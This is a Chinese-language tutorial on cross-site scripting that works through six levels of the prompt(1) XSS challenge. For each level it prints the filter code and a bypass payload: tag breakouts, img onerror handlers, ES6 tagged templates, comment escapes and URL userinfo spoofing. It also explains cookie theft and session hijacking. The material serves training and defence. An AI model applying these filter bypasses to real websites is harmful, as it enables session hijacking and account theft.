XSS指的是惡意攻擊者往Web頁面裏插入惡意html代碼,當用戶瀏覽該頁之時,嵌入其中Web裏面的html代碼會被執行,從而達到惡意攻擊用戶的特殊目的。這篇文章主要給大家介紹了關於跨站腳本攻擊XSS(Cross Site Script)的原理與常見場景的相關資料,需要的朋友可以參考下。
前言
前段時間在網上看到一個網址,好奇之下進去看了看。勝利的條件是你錄入一個串,讓其調用prompt(1) 。發現裏面有好多想不到的東西,今天終於悠閒了來這裏說說XSS。
XSS 原理
跨站腳本攻擊(Cross Site Scripting),爲不和層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆,故將跨站腳本攻擊縮寫爲XSS。惡意攻擊者往Web頁面裏插入惡意Script代碼,當用戶瀏覽該頁之時,嵌入其中Web裏面的Script代碼會被執行,從而達到惡意攻擊用戶的目的。
XSS 常見場景
一些私人的博客,攻擊者惡意評論,彈出alert,這種充其量也就是一個玩笑。但是如果是盜竊cookie,異常提交請求,這些就比較難受了。
prompt(1)
chrome 版本 62.0.3202.75(正式版本) (64 位)
function escape(input) { // warm up // script should be executed without user interaction return '<input type="text" value="' + input + '">'; }
第一個
這是一個開胃菜,沒有做任何校驗,這種不設防的在現在已經很少了。他把值直接拼入字符串,組成一個DOM input標籤,那我們只要正確的把標籤閉合掉就可以調用了。
"><script>prompt(1)</script>
,拼出來的字符串爲<input type="text" value=""><script>prompt(1)</script>">
,這樣就等於插入了我們的代碼。
function escape(input) { // tags stripping mechanism from ExtJS library // Ext.util.Format.stripTags var stripTagsRE = /<\/?[^>]+>/gi; input = input.replace(stripTagsRE, ''); return '<article>' + input + '</article>'; }
第二個
這個已經提升難度了,/<\/?[^>]+>/gi匹配<>標籤內的所有東西,如輸入<script>prompt(1)</script>
轉換過後會出現prompt(1),內容裏面的標籤被替換掉了。所以這個我們去嘗試不閉合標籤,讓瀏覽器自己去容錯。
<img src onerror="prompt(1);"
該方法通過img加載src失敗會調用onerror的想法。
function escape(input) { // v-- frowny face input = input.replace(/[=(]/g, ''); // ok seriously, disallows equal signs and open parenthesis return input; }
第三個
這個就有點略坑了/[=(]/g把所以的=號和(號都替換掉了,這樣我們嘗試調用的時候就不能使用這些東西了。使用的方法是通過模板字符串的標籤模板,這個ES6的特性。 <script>prompt`1`</script>
看樣子我們這樣寫就可以了,但是爲什麼沒有生效呢?下面的圖可以看出來,這樣的話傳入的是字符串,判斷是不通過的,所以我們要修改一下<script>prompt.call${1}</script>
,這樣就可以跑過驗證了。(話說markdown如何在``裏面寫``)
function escape(input) { // filter potential comment end delimiters input = input.replace(/->/g, '_'); // comment the input to avoid script execution return '<!-- ' + input + ' -->'; }
第四個
這個看上去是把你寫的內容都放在了html的註釋語句裏面,並且用/->/g替換了一把。我想到的方案有條件註釋,但是條件註釋這是IE的東西,我們就先不測試了。
--!><img src onerror="prompt(1);"
使用這個可以關閉
function escape(input) { // make sure the script belongs to own site // sample script: http://prompt.ml/js/test.js if (/^(?:https?:)?\/\/prompt\.ml\//i .test(decodeURIComponent(input))) { var script = document.createElement('script'); script.src = input; return script.outerHTML; } else { return 'Invalid resource.'; } }
第五個
這個是通過僞造url,我們使用的是訪問帶有用戶名、密碼保護的 URL來僞造。
http://prompt.ml%2f@urlurl
爲一個網絡地址引用的js,內容爲prompt(1)。本來想嘗試一下data:text/html,<html><script>prompt(1)</script></html>
但是沒有成功,然後javascript:;
和about:blank
也沒有通過,挺失落。
function escape(input) { // apply strict filter rules of level 0 // filter ">" and event handlers input = input.replace(/>|on.+?=|focus/gi, '_'); return '<input value="' + input + '" type="text">'; }
第六個
/>|on.+?=|focus/gi
替換了>、onxxxx=和focus。通過input特殊的type類型。
`"type=image src onerror
="prompt(1)`
通過xss能做的事情
有很多,絕大多數的網絡攻擊行爲都是把xss作爲漏洞鏈中的第一環。通過xss,黑客可以得到的最直接的利益就是拿到用戶瀏覽器(或者一些類瀏覽器app)的cookie。由於目前web系統中實現session的辦法主要是cookie,所以一旦黑客拿到了用戶的cookie,就可以劫持用戶的session,從而變相達到盜取用戶賬號的目的。
xss也使黑客可以以受害用戶的ip地址向其他站點發起web攻擊,因爲一切的攻擊腳本都可以借受害用戶的瀏覽器執行。
以這樣的方式,將xss配合起csrf、sql注入等漏洞可以在短時間內對一個服務器發起大量攻擊,並且服務端無法將攻擊ip封死,因爲ip是成百上千的xss受害者的ip。
2015年github遭遇的大規模DDOS,實際上就是黑客以某種方式把而已腳本植入到“熊場”的廣告聯盟iframe中,從而對github的某些接口實施攻擊,最終達到DDOS的效果。
另外,持久性xss的傳播性極強,由於web的特點是輕量級、靈活性高,每個用戶每天都可能訪問很多web站點,每個web站點每天都有成千上萬的來訪。所以將xss攻擊配合起一些系統內核級的漏洞,完全可能在幾個小時之內擊垮幾百萬臺智能設備。
如今的xss
相比網上很多資料中,在技術上已經發生了很大變化。由於各大網站加強了對於js腳本、html標籤等關鍵信息的過濾,單純依靠植入javascript代碼很難實施攻擊。
PC端頁面,一些視頻類、頁遊網站存在大量的flash內嵌在頁面中,可以嘗試將flash代碼植入,往往可以規避網站安全過濾。移動端頁面,可以植入native代碼(android系統植入java,ios系統植入oc)。
總結
以上就是這篇文章的全部內容了,希望本文的內容對大家的學習或者工作具有一定的參考學習價值,如果有疑問大家可以留言交流,謝謝大家對神馬文庫的支持。